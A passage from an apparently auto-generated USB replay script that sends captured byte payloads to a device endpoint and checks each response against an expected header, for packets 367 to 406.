b\"\\x42\\x1D\\x4F\\xEF\\x98\\x34\\x9F\\xD6\\xA6\\xFD\\xA9\\xEE\")\n # Generated from packet 367/368\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 367/368\")\n # Generated from packet 369/370\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x0F\\x3C\\xA9\\xCE\\x50\\x23\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x9A\\xED\\x85\\xB9\\x77\\x3C\\x59\\x08\"\n b\"\\x8B\\x42\\xB6\\x8A\\x34\\x5C\\x6E\\xF5\\x9F\\x35\\x41\\x24\\xE3\\x4B\\x4B\\x3E\"\n b\"\\xA3\\x32\\xF3\\x45\\x9B\\xB6\\x97\\x88\\xAC\\xFD\\x14\\x5F\\x75\\x41\\x32\\xDF\"\n b\"\\x1C\\x90\\xF2\\xFF\\x37\\x1C\\xE7\\xC3\\x05\\x69\\x73\\x77\\x74\\x64\\xA7\\x26\"\n b\"\\x76\\x96\\xD5\\x8F\\xD4\\x12\\x3F\\xA6\\x1A\\x84\\xDE\\x9B\\xEF\\x81\\x12\\x96\"\n b\"\\x39\\xBC\\xA3\\x35\\xB9\\xD4\\x30\\x22\\x68\\xB9\\x4D\\xFE\\xC9\\x60\\xB0\\x1F\"\n b\"\\xD3\\xB0\\x73\\xBB\\x9F\\x66\\x24\\xE2\\x3D\\xC3\\x9E\\x25\\xC1\\xCA\\x4F\\x80\"\n b\"\\x6C\\x7C\\xD8\\x82\\xB8\\xB4\\xCD\\xE9\\x4A\\xE8\\x44\\xB7\\x5B\\xE8\\xFE\\x04\"\n b\"\\x8E\\x94\\xE3\\xB9\\x9A\\x6E\\xDD\\x1E\\xDE\\x5D\\x19\\x66\\xD9\\xF5\\xDC\\x81\"\n b\"\\xC8\\xAC\\x39\\x49\\xFD\\x2E\\x87\\x31\\xC1\\x31\\xF6\\xC0\\x33\\x8F\\xA6\\xCC\"\n b\"\\x3C\\x14\\x39\\x5F\\x4C\\x2C\\xEF\\xE6\\x5C\\xC1\\xA8\\x7C\\x24\\xFC\\x03\\x02\"\n b\"\\x11\\x60\\xC2\\xC8\\x81\\x46\\xB2\\xA1\\xE0\\x76\\xE0\\xFE\\xDD\\x05\\x3A\\xA4\"\n b\"\\x9B\\xE7\\x3C\\xE2\\x93\\x8E\\x56\\xF1\\x93\\x80\\x17\\xD3\\x20\\x71\\x95\\x33\"\n b\"\\x11\\xAB\\xB1\\xF9\\x7E\\x54\\xE3\\xA7\\xEF\\x9B\\x42\\xE3\\xE0\\x23\\x7A\\x78\"\n b\"\\xCE\\x15\\x93\\x78\\x0E\\xFB\\x12\\x70\\x1A\\xAC\\x22\\x00\\xA8\\xE2\\x0A\\x14\"\n b\"\\xC6\\x34\\x6D\\x3E\\x87\\x49\\xBC\\x0B\\xCC\\x6C\\x0C\\xC5\\xE2\\x07\\x57\\xC4\"\n b\"\\x90\\x99\\x71\\xAF\\xA3\\x03\\x11\\x0B\\xEF\\xA5\\x6A\\x62\")\n # Generated from packet 371/372\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 371/372\")\n # Generated from packet 373/374\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x06\\x44\\xCA\\x1C\\xEE\\x22\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xF8\\x4D\\xD9\\x23\\x43\\x6B\\xA4\\x03\"\n b\"\\xD7\\x5D\\x1F\\xFB\\x00\\xE4\\x93\\x30\\x78\\xA6\\x96\\x56\\x1F\\x00\\x7D\\x96\"\n b\"\\x38\\x87\\x97\\xFF\\x76\\x33\\xFD\\xAC\\x7A\\xFA\\xF9\\x98\\x8D\\x02\\x88\\xD5\"\n b\"\\x45\\xCA\\x75\\x45\\x31\\xF0\\x02\\x13\\xDD\\x78\\x0C\\x3A\\xD7\\x29\\xFF\\xBD\"\n b\"\\x43\\xA2\\x8F\\x34\\xDD\\xA8\\xFC\\x7F\\x9E\\x12\\x57\\x5A\\x35\\x0B\\xCE\\x9D\"\n b\"\\xEB\\x63\\x58\\x5A\\x6F\\x1E\\x70\\x42\\x25\\x30\\x8F\\x30\\x32\\xBE\\x8D\\xAD\"\n b\"\\x1A\\xF8\\xF6\\xF8\\x7A\\xED\\xF6\\xE2\\x48\\x02\\x33\\x90\\x96\\xB8\\xC8\\x13\"\n b\"\\x05\\x79\\x78\\x1A\\x73\\x42\\x2E\\x00\\x5E\\x78\\xC2\\x75\\xC8\\x97\\x92\\x1C\"\n b\"\\xCE\\x5F\\x46\\x28\\xBF\\x15\\x89\\x54\\x2F\\x49\\xF8\\x3A\\x77\\x09\\xC7\\x9D\"\n b\"\\x98\\x78\\x7D\\x8D\\x30\\xB2\\x7B\\x07\\xEE\\xE7\\x3E\\xED\\x94\\x00\\xF3\\x8F\"\n b\"\\x61\\xB5\\xFA\\x76\\xB0\\x63\\x40\\xC9\\x00\\x44\\xFA\\xF8\\x61\\x8A\\xDB\\xD7\"\n b\"\\x10\\xF3\\xCB\\x67\\x49\\x9C\\x3E\\x1C\\x3D\\x18\\x80\\x23\\x2D\\xA9\\x88\\x73\"\n b\"\\xB9\\x84\\x3B\\xB4\\xED\\xCE\\x5C\\x28\\xAB\\x9E\\xCC\\x8A\\x8D\\xA2\\xF9\\xC5\"\n b\"\\xCE\\x6F\\x6A\\x7D\\x20\\xEC\\x61\\x79\\x0B\\xAB\\xE1\\xBD\\xF5\\x79\\xEE\\x4C\"\n b\"\\xFA\\x79\\x55\\x0C\\x58\\xD7\\x71\\x48\\xEF\\x41\\x90\\xF9\\xDF\\x0D\\x24\\x7B\"\n b\"\\x7B\\x65\\x35\\x62\\x0F\\xB3\\x43\\x83\\x89\\x52\\x09\\xF3\\x22\\xE7\\x48\\xAD\"\n b\"\\x0C\\x8B\\x19\\x3C\\x5A\\x25\\xB8\\x0D\\xE8\\x6B\\x19\\x3C\")\n # Generated from packet 375/376\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 375/376\")\n # Generated from packet 377/378\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x74\\xAB\\xCE\\xE5\\x40\\x4B\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x61\\x0D\\xD1\\x3C\\x28\\xE8\\xA2\\x84\"\n b\"\\x10\\x2E\\xF6\\xA7\\xB0\\xE5\\xAE\\xB2\\xFE\\x65\\xC6\\xFF\\x78\\xEF\\x7D\\x22\"\n b\"\\x85\\xBE\\x01\\x97\\x0B\\x4C\\xB1\\xCF\\x9D\\xBB\\x15\\xB7\\x6E\\xDF\\x58\\x52\"\n b\"\\x88\\x13\\x32\\x9B\\x01\\x70\\x4F\\x72\\x4F\\x64\\x7F\\xDE\\x33\\xC6\\x52\\xDD\"\n b\"\\xDE\\xC4\\xAF\\x62\\x3B\\xBC\\x13\\x30\\xD9\\x70\\xE7\\x60\\x30\\x7F\\x50\\x66\"\n b\"\\xC6\\xA1\\xAB\\x4D\\x2D\\x2F\\x8D\\x34\\x96\\xCB\\xDA\\xD0\\x23\\xDA\\x4C\\x65\"\n b\"\\xD1\\x71\\x22\\x86\\x6D\\x6F\\xA0\\x89\\x00\\x8E\\x57\\x18\\xE1\\x6E\\x2D\\x3F\"\n b\"\\x55\\x54\\xDD\\x40\\xA6\\x3E\\x53\\x05\\x1A\\xC7\\xBC\\xC3\\xA9\\x13\\x2D\\x1C\"\n b\"\\x63\\x1C\\x92\\x4C\\x51\\xA3\\x92\\x15\\x32\\x2A\\x83\\xAE\\x81\\x3A\\x1B\\xBE\"\n b\"\\xC1\\xF3\\x6B\\xC5\\x34\\xBB\\x97\\x42\\xA1\\x1D\\x00\\xD6\\x10\\xEC\\x02\\x0B\"\n b\"\\xD6\\x9B\\x58\\x3D\\xDE\\xC9\\xBB\\xEB\\x1B\\x22\\x3E\\x82\\x55\\xE9\\xC6\\x51\"\n b\"\\x1E\\x7B\\x8D\\x7B\\xFC\\xAE\\xD9\\x06\\xC3\\xEE\\x73\\xB1\\x91\\x1D\\x91\\xDE\"\n b\"\\xBA\\x9A\\xBE\\x4B\\x20\\xC0\\x97\\x3E\\xA6\\xB5\\x53\\xDB\\xEE\\x06\\x68\\xC0\"\n b\"\\xAD\\x5F\\xE1\\x27\\xB6\\x36\\x76\\x94\\xF6\\x11\\xD0\\x20\\x00\\x0E\\x54\\x2C\"\n b\"\\x6A\\x28\\x32\\xDD\\x26\\x8F\\x61\\x20\\x95\\x7D\\x61\\x8F\\x9F\\xC7\\x82\\x2F\"\n b\"\\x6C\\xAE\\x69\\x1E\\x49\\x91\\x4D\\x4E\\x5D\\x8A\\xE9\\x07\\x3C\\x10\\x48\\x8A\"\n b\"\\x69\\xF8\\x57\\xCB\\x87\\xE2\\xA7\\x19\\x52\\x7C\\x94\\xF9\")\n # Generated from packet 379/380\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 379/380\")\n # Generated from packet 381/382\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x09\\x74\\x04\\x41\\x78\\x58\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x09\\x29\\x44\\x8B\\x1E\\xE5\\x19\\x1C\"\n b\"\\x93\\xA4\\xAC\\xDA\\x3F\\x3B\\xF2\\xD3\\x7D\\x2D\\x5C\\xA4\\x4E\\xCF\\xC7\\xBF\"\n b\"\\x63\\x98\\xA7\\x34\\x6A\\x18\\xD9\\x2D\\x71\\xC3\\x66\\x29\\x42\\x69\\xC8\\x6B\"\n b\"\\x4D\\xAA\\xCC\\x32\\x78\\x3F\\x42\\x5E\\x35\\x7A\\x4D\\x1E\\xA5\\x89\\x24\\x4F\"\n b\"\\x34\\x9B\\x37\\xF4\\x86\\xB9\\x14\\x4D\\x3C\\xE1\\x8E\\x34\\xFB\\xA8\\xF4\\x4C\"\n b\"\\x43\\x98\\x0B\\xDD\\x12\\x46\\x35\\xEB\\x6D\\xB9\\x84\\xF2\\x00\\x91\\xD1\\x48\"\n b\"\\x68\\xE3\\x77\\x83\\x71\\x03\\x7C\\xBC\\x5B\\x1D\\x08\\xEB\\x7D\\xCC\\x07\\x12\"\n b\"\\xB3\\x42\\x47\\x5B\\xBD\\xCA\\x5B\\x2B\\xDF\\x58\\x32\\x96\\x77\\xF7\\x97\\x2A\"\n b\"\\x00\\xDE\\x66\\xEE\\x3B\\xA0\\x2B\\xEA\\x28\\x8E\\x26\\x71\\x63\\x48\\x22\\x87\"\n b\"\\x5A\\xD5\\xC4\\x2A\\x31\\xC6\\x3E\\xFB\\x61\\xFF\\x66\\xE4\\x2C\\xBB\\xF7\\x70\"\n b\"\\x81\\xC4\\x48\\xC9\\x42\\xF9\\xE7\\x3E\\xFA\\xD9\\xE3\\x8B\\x75\\x49\\xE1\\xC5\"\n b\"\\x97\\xC6\\x8D\\x7C\\x00\\xFA\\xDD\\x6A\\x8A\\x66\\x98\\xC4\\x02\\xD6\\x71\\x7A\"\n b\"\\xDA\\x8C\\x28\\xF6\\xF3\\xA3\\x81\\xBB\\x71\\xB2\\x2A\\xCE\\x7A\\x66\\xBD\\x15\"\n b\"\\xD3\\x46\\x43\\xBC\\x95\\x9D\\xA6\\xB5\\x6A\\x05\\x2A\\x1D\\x9D\\x46\\x9D\\xD6\"\n b\"\\x93\\x48\\x09\\xD8\\xBA\\x1D\\xE6\\x27\\x0C\\xB3\\xC8\\x21\\xD6\\x39\\xFE\\xD4\"\n b\"\\x02\\x4E\\xB3\\x11\\xDD\\x0D\\x28\\xD2\\x8B\\xF8\\x2C\\xD0\\x7C\\xDA\\x11\\xE9\"\n b\"\\x35\\x6E\\xD9\\xC0\\x78\\x59\\x12\\xDA\\xFA\\xEE\\xD7\\xB1\")\n # Generated from packet 383/384\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 383/384\")\n # Generated from packet 385/386\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x70\\x8B\\x35\\x3D\\x36\\x6B\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x45\\xDC\\xEF\\x0C\\x8E\\x70\\xAA\\x1D\"\n b\"\\x93\\x89\\x11\\x5A\\x35\\x12\\x25\\x0F\\xCD\\x6B\\x48\\x7A\\x7D\\xF0\\x8B\\xF8\"\n b\"\\x01\\xDD\\x3B\\xC5\\xE0\\xB1\\x61\\xB0\\x42\\xBC\\xD2\\xFD\\xD9\\x07\\x73\\xFE\"\n b\"\\x76\\x70\\xC9\\x93\\x86\\x2B\\x08\\xEC\\x2A\\x2B\\xA0\\xF9\\x33\\xC9\\xB8\\xE8\"\n b\"\\xB1\\xF8\\xDC\\x70\\x0E\\xBF\\x17\\xB0\\x7D\\xF0\\xEB\\x80\\xC9\\x86\\xCB\\xA6\"\n b\"\\x2C\\x6A\\x5B\\x01\\x05\\xAD\\x80\\x3C\\x6F\\x12\\xED\\x64\\x69\\xAD\\x6B\\x62\"\n b\"\\x11\\x6A\\xA2\\xA6\\x20\\x52\\xDC\\x66\\x7A\\xF4\\x9B\\x85\\x44\\xFD\\x9F\\x13\"\n b\"\\xA9\\x78\\xBC\\x32\\x7C\\x70\\xC4\\x8B\\x53\\xFB\\x50\\x81\\xDE\\x51\\x28\\x3D\"\n b\"\\x55\\x6F\\x09\\x41\\xBB\\xE5\\x8B\\xF7\\x34\\x8C\\x3E\\xF6\\xDA\\x60\\x4F\\xFA\"\n b\"\\x1E\\xD3\\x57\\x07\\x4A\\xC7\\xDF\\xE6\\xA0\\xB4\\x16\\x16\\x05\\xD0\\x70\\xD5\"\n b\"\\xBF\\x7B\\xCB\\x87\\x77\\xD4\\x64\\x78\\xE8\\x3B\\x8B\\x71\\xAA\\xAB\\xFA\\x37\"\n b\"\\x8D\\x45\\x84\\xC8\\x65\\x04\\x42\\xA7\\x97\\x1D\\x44\\xA5\\x2A\\x38\\xEE\\xFD\"\n b\"\\x56\\x59\\x1B\\xD8\\x4B\\x9B\\xCB\\xB0\\x1F\\xEB\\xFA\\x2C\\xDA\\x98\\x51\\xFE\"\n b\"\\xDC\\x0D\\xF9\\x91\\x13\\x52\\xDB\\xEA\\x45\\xA6\\xEB\\x79\\x7D\\x1E\\x8D\\x56\"\n b\"\\x6E\\xE0\\x44\\xFC\\x3D\\x91\\x30\\x61\\x28\\xE7\\x1C\\x9F\\x10\\xDE\\xB4\\x79\"\n b\"\\x25\\x14\\x80\\x4E\\xD0\\x09\\x31\\xFE\\x5B\\xC5\\xAF\\x1C\\xE8\\x7B\\xDC\\xBC\"\n b\"\\x13\\x6A\\x9F\\xAB\\x94\\x48\\xCC\\x58\\x92\\x7D\\xD4\\x04\")\n # Generated from packet 387/388\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 387/388\")\n # Generated from packet 389/390\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x1D\\x14\\x42\\x4C\\xFD\\x5C\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xC8\\xF6\\x0B\\xDF\\xCA\\x3B\\x72\\x33\"\n b\"\\x49\\x8B\\xB0\\x9B\\x37\\x44\\x8D\\x7F\\x1E\\x54\\x16\\x7C\\x94\\xF4\\xE3\\xF5\"\n b\"\\xB1\\xF4\\x6D\\x78\\x3E\\xFE\\x0C\\xE8\\xB0\\x3F\\x9C\\x26\\xAD\\x0C\\x67\\x2E\"\n b\"\\xA3\\x34\\x13\\x15\\x35\\x7E\\xBF\\xBE\\x84\\x7D\\x0D\\x52\\xE8\\x95\\xC7\\x47\"\n b\"\\xD4\\x3F\\x24\\x91\\xC7\\xA4\\x92\\xFC\\xA9\\xAF\\x80\\xFD\\x6F\\xDD\\xA2\\x54\"\n b\"\\x6C\\x58\\xCF\\x2F\\xB8\\x45\\x3C\\x77\\x6E\\x49\\x9C\\x0A\\x68\\xCD\\xBE\\x74\"\n b\"\\xD5\\xBC\\x29\\x43\\xA3\\x88\\x17\\xC0\\x32\\x48\\x4E\\x5D\\x41\\xE1\\x70\\xED\"\n b\"\\x59\\x6F\\x92\\x27\\xA0\\xF1\\x73\\xFE\\x82\\x3A\\xA4\\xB3\\x14\\x73\\x49\\x06\"\n b\"\\xEE\\xEE\\xB8\\x70\\xAC\\x54\\x07\\xC5\\xEC\\xBC\\x7E\\x85\\x37\\x1B\\x76\\xAC\"\n b\"\\xAF\\x82\\xCD\\x6C\\x23\\xB8\\x8E\\xE4\\xF5\\x6E\\xC6\\xAD\\xB4\\x2B\\xC0\\xAA\"\n b\"\\xD2\\x6F\\x32\\x44\\x0B\\xC9\\x3D\\x4A\\x63\\x0E\\x96\\x43\\x4B\\x9E\\xC8\\x66\"\n b\"\\x68\\x2B\\xE6\\x8F\\x43\\x18\\x9D\\x19\\x40\\x9E\\x7D\\x62\\xB1\\x8D\\x5F\\xF9\"\n b\"\\x10\\x2F\\xAC\\x86\\x26\\xFD\\xB1\\x7A\\xF2\\x43\\x1D\\x6E\\xDE\\x41\\xE6\\x38\"\n b\"\\x30\\x28\\x10\\x78\\x53\\xAC\\xAF\\x9C\\xEE\\x3F\\xCE\\x81\\xE5\\xCB\\x38\\x28\"\n b\"\\x39\\x38\\x73\\x14\\x18\\xD2\\x8A\\xC7\\x26\\x21\\x6B\\xCE\\x67\\xEB\\xEF\\x7A\"\n b\"\\x0C\\x37\\x0F\\x5D\\x78\\x19\\x0B\\x0E\\xB5\\x59\\x76\\x7A\\x87\\x83\\xE9\\xE5\"\n b\"\\x73\\x11\\xDC\\x0A\\xAE\\x82\\x33\\xF7\\x13\\x15\\x4A\\x2C\")\n # Generated from packet 391/392\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 391/392\")\n # Generated from packet 393/394\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x7E\\x6C\\x83\\x09\\x12\\x3E\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xA1\\x52\\x27\\x83\\xEA\\x09\\x8C\\x0F\"\n b\"\\xDE\\x12\\xF4\\x72\\x61\\x4D\\xFC\\x49\\x21\\x51\\xE0\\x5E\\xA9\\x99\\xE7\\x8E\"\n b\"\\xC8\\x99\\x9B\\x08\\xF3\\x2A\\x47\\x20\\x5A\\x7B\\x9F\\xF3\\x5A\\xE6\\x38\\x45\"\n b\"\\xE7\\xF8\\x58\\xC5\\x44\\x09\\x78\\xBD\\x6A\\x79\\x1F\\x7F\\xEE\\xD7\\xB4\\xC8\"\n b\"\\x3C\\x34\\x56\\xC1\\xF2\\xB4\\x1D\\xAB\\x3D\\x36\\x3C\\x1B\\xB9\\x53\\xB7\\x0F\"\n b\"\\xCB\\x9D\\x5B\\x5B\\x1D\\x59\\x7F\\xE8\\xA6\\x46\\xE6\\x47\\x5C\\x7D\\x6A\\xCE\"\n b\"\\xEF\\x7B\\xB6\\xFF\\x08\\xC0\\x17\\x9A\\xB4\\x68\\x53\\x62\\x56\\xFB\\x2B\\x7B\"\n b\"\\xBD\\x8A\\xB2\\x77\\x6D\\x74\\xD4\\x97\\x52\\x8B\\xB7\\xB2\\xC7\\xAA\\x17\\xF7\"\n b\"\\xE0\\x6A\\x79\\x3D\\x18\\xCC\\xB1\\x6C\\x0E\\x9A\\x34\\x20\\x8B\\xC8\\x91\\xCD\"\n b\"\\xCC\\x5C\\xB4\\x55\\x66\\x67\\x62\\x03\\xB8\\x11\\x43\\x94\\x8E\\x92\\x32\\xC2\"\n b\"\\xA1\\x07\\x6D\\x5E\\x6D\\x76\\x64\\x08\\x9C\\xF2\\xA2\\xB1\\xBB\\xD6\\xBD\\x6F\"\n b\"\\x7E\\x2A\\x22\\x2A\\x0A\\xC3\\xBF\\x58\\x44\\x99\\xA9\\x19\\x32\\x7B\\xAB\\x54\"\n b\"\\x81\\x4C\\x97\\xDD\\xC9\\xDE\\x8C\\xCF\\x34\\xB0\\xBE\\xB8\\xD5\\x26\\xFF\\xC5\"\n b\"\\x5A\\x3E\\xD2\\x6F\\x9D\\x43\\x35\\xEB\\x3A\\x39\\x22\\x50\\xD0\\xB1\\x15\\x29\"\n b\"\\xD9\\x37\\x2D\\x4A\\x3C\\xCF\\x64\\xD7\\xEB\\x2B\\x39\\x01\\xC8\\x12\\x91\\xB2\"\n b\"\\x3F\\x7C\\x15\\x92\\xF0\\x00\\x5F\\xC8\\xB9\\x1E\\x36\\x79\\x81\\x19\\xCE\\x20\"\n b\"\\xD6\\xD4\\xC5\\xE2\\x68\\xC8\\xF2\\x68\\x4D\\x81\\xE8\\x5A\")\n # Generated from packet 395/396\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 395/396\")\n # Generated from packet 397/398\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xB6\\x8B\\x3F\\x44\\x49\\x1A\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x19\\x1A\\xFA\\x6E\\x81\\x9C\\x47\\xA6\"\n b\"\\xDA\\x96\\x1F\\xD3\\xCB\\x0E\\x43\\xCD\\x46\\xC3\\xF5\\x5C\\xEF\\xBA\\x5D\\xF2\"\n b\"\\xC0\\xA7\\x23\\xE2\\xDA\\x0F\\x3C\\x37\\x45\\x6B\\xE9\\xF2\\x22\\xF6\\x49\\x56\"\n b\"\\xC0\\x05\\x71\\xF5\\xE8\\x61\\x75\\x66\\xAE\\xDE\\x7C\\x28\\xC4\\x9F\\xA3\\x09\"\n b\"\\xAD\\x9B\\xF6\\xBF\\xAB\\x2B\\xF1\\x73\\x46\\x5E\\xE3\\x5F\\x1E\\xB0\\x91\\xA9\"\n b\"\\x38\\x19\\xF3\\x7F\\x45\\xBD\\x0B\\x06\\x61\\x39\\xBB\\x9F\\xA4\\x91\\xC0\\xBC\"\n b\"\\x92\\x44\\x4A\\x6E\\xFB\\xE3\\xC1\\xE4\\x1B\\xCE\\xBD\\x30\\x9E\\x25\\x84\\xC2\"\n b\"\\xFE\\x88\\x01\\x15\\x07\\x14\\xA5\\x15\\x45\\x92\\xEE\\xD9\\x27\\xB4\\xE4\\xEC\"\n b\"\\x83\\x27\\x43\\x00\\xD0\\x11\\x7F\\x17\\xF4\\x3F\\xFC\\x33\\xB7\\xB7\\x2A\\xE5\"\n b\"\\xBA\\xEC\\xE1\\x6A\\xB8\\x5D\\x66\\x9F\\xFD\\x7A\\x0F\\x4B\\x20\\xA5\\xA1\\x87\"\n b\"\\xC7\\x1D\\xA5\\xBF\\x05\\xC3\\x5E\\x88\\x52\\x24\\x2A\\x9A\\xD7\\x89\\xEC\\x1D\"\n b\"\\x35\\x42\\x6B\\x06\\x01\\xB8\\xC4\\x77\\xE0\\xC3\\xDE\\xB6\\x09\\x6B\\x32\\xC3\"\n b\"\\x64\\xAE\\xCD\\x40\\xB4\\x50\\x72\\xA0\\x11\\xD0\\xC3\\x72\\x36\\x94\\x2A\\xD0\"\n b\"\\x25\\x21\\x60\\x89\\xD7\\x81\\xC3\\xF1\\x3F\\x51\\x91\\x79\\xB8\\x2C\\x99\\xE4\"\n b\"\\x5A\\x0E\\xE6\\xB1\\x5E\\x4A\\x2E\\x52\\xF0\\x76\\x57\\xE1\\xC1\\x2E\\xF6\\x3A\"\n b\"\\xD4\\x42\\xD5\\x85\\x4B\\x28\\xCC\\xCA\\x8D\\x22\\xF7\\x74\\xBD\\x3C\\x79\\x9E\"\n b\"\\x73\\x61\\xB1\\x3C\\xF3\\xF7\\x37\\xFF\\x32\\x06\\x38\\x7F\")\n # Generated from packet 399/400\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 399/400\")\n # Generated from packet 401/402\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xB7\\x61\\x1B\\x0B\\x32\\x5F\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xB3\\x6F\\x7A\\x98\\xF1\\x46\\xA8\\x9E\"\n b\"\\x80\\xE4\\xF3\\x7C\\xC9\\x8D\\xFF\\x7C\\x8F\\x22\\xCF\\xA5\\x78\\x62\\x39\\x01\"\n b\"\\xE7\\xC9\\xD5\\x73\\x83\\x76\\xB6\\xB4\\x3E\\x4F\\x32\\xD0\\x0B\\x09\\x54\\x90\"\n b\"\\xC9\\x93\\xEF\\x5F\\x01\\x15\\xC7\\x1B\\x9C\\x17\\x5E\\x6C\\x61\\x48\\xBB\\x95\"\n b\"\\x5D\\x99\\x86\\x2B\\xA8\\x0F\\xC0\\x2A\\xDB\\xAB\\xCC\\xF8\\x19\\x46\\x9F\\x1C\"\n b\"\\x19\\x27\\xB7\\x7A\\x88\\x09\\xB8\\xBA\\xBA\\x77\\x83\\x79\\x2A\\xB3\\x7E\\x0C\"\n b\"\\xB6\\x31\\x3C\\x7E\\xB9\\x2A\\xC5\\x3E\\x56\\x13\\xCE\\x2A\\xBF\\x2B\\x19\\xF8\"\n b\"\\xF9\\x8F\\xEE\\xDC\\x4C\\x74\\x6C\\xEC\\x38\\xE3\\x29\\x7A\\x66\\xCA\\x56\\x45\"\n b\"\\x5B\\x1C\\x64\\xAB\\xD9\\xAE\\x32\\xD3\\xB9\\xCC\\x04\\xAD\\xBC\\xF6\\x4C\\x79\"\n b\"\\x61\\xC0\\xEF\\x4D\\xDB\\xC9\\x7F\\x30\\x58\\x68\\x1D\\x12\\x78\\x4F\\x59\\x60\"\n b\"\\x9E\\x95\\xB0\\x0A\\x2A\\x2B\\x2B\\x20\\x99\\xEA\\xF8\\x6F\\x6C\\x06\\xED\\x13\"\n b\"\\xCD\\x17\\x69\\x4F\\x2A\\xD1\\x16\\x8E\\x6B\\x5C\\xE1\\xC1\\x1A\\x1E\\xEA\\xA8\"\n b\"\\x13\\x32\\x5D\\xE9\\x19\\x39\\x43\\xF0\\x98\\x05\\xD8\\x68\\xCF\\x12\\xAE\\x1F\"\n b\"\\x24\\x7D\\x0C\\x51\\x78\\xAC\\xDF\\xEA\\xE1\\xE4\\x86\\xAB\\xA8\\xBC\\x02\\xCF\"\n b\"\\x75\\x42\\xEB\\x14\\x7D\\xAD\\xA9\\xB6\\x4D\\xC0\\xF5\\x32\\xFB\\xB7\\x1C\\xDB\"\n b\"\\xB8\\xDC\\x8B\\xE1\\xBD\\x69\\x8F\\x98\\x73\\x26\\xEE\\x75\\xC5\\xF8\\x6E\\x8F\"\n b\"\\xB1\\x28\\xFE\\x8C\\x52\\x40\\xDC\\x77\\x18\\xB2\\x85\\xAC\")\n # Generated from packet 403/404\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 403/404\")\n # Generated from packet 405/406\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xF6\\xE4\\x8A\\xB9\\xF6\\x3B\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x88\\x6D\\x98\\x63\\xFB\\x94\\x05\\x1E\"\n b\"\\x43\\x51\\xB8\\xF5\\x97\\x0D\\x1C\\x8E\\x8E\\x6D\\x05\\xDC\\x93\\x01\\xCD\\x93\"\n b\"\\xBC\\xA5\\xC1\\x03\\x85\\x38\\xBE\\xBA\\x42\\xB6\\x99\\x51\\xB9\\x7D\\xFE\\x7D\"\n b\"\\x02\\x3E\\x23\\xFC\\x12\\x4F\\x42\\x36\\xAC\\x57\\x30\\x8F\\xE4\\xD0\\x49\\x2F\"\n b\"\\xCB\\xA0\\x7C\\x51\\x17\\xBA\\x3F\\xFB\\x9F\\x20\\xE0\\x8C\\xDB\\x7E\\x26\\xA2\"\n b\"\\x6B\\xBD\\x44\\x8E\\x7A\\x04\\x0E\\xB7\\x51\\xD1\\x17\\xAB\\x5A\\x93\\x2B\\xDE\"\n b\"\\x65\\x83\\x72\\x2F\\xF2\\x5E\\xED\\xE5\\xB8\\x1B\\x1A\\x63\\x72\\xC2\\xED\\xDC\"\n b\"\\xF2\\xEA\\xCC\\xB4\\x51\\x01\\xFF\\x7C\\x17\\xE3\\x9D\\xD3\\x9D\\xB0\\x49\\x7E\"\n b\"\\x6F\\x4B\\xC5\\xD0\\xCF\\x49\\x2D\\x0F\\x20\\x49\\xCF\\x79\\xD0\\x7C\\xB5\\x36\"\n b\"\\x0E\\x14\\x82\\x43\\x2E\\xA7\\xBF\\x20\\x26\\x90\\x33\\xFA\\xD1\\x13\\x73\\xBC\"\n 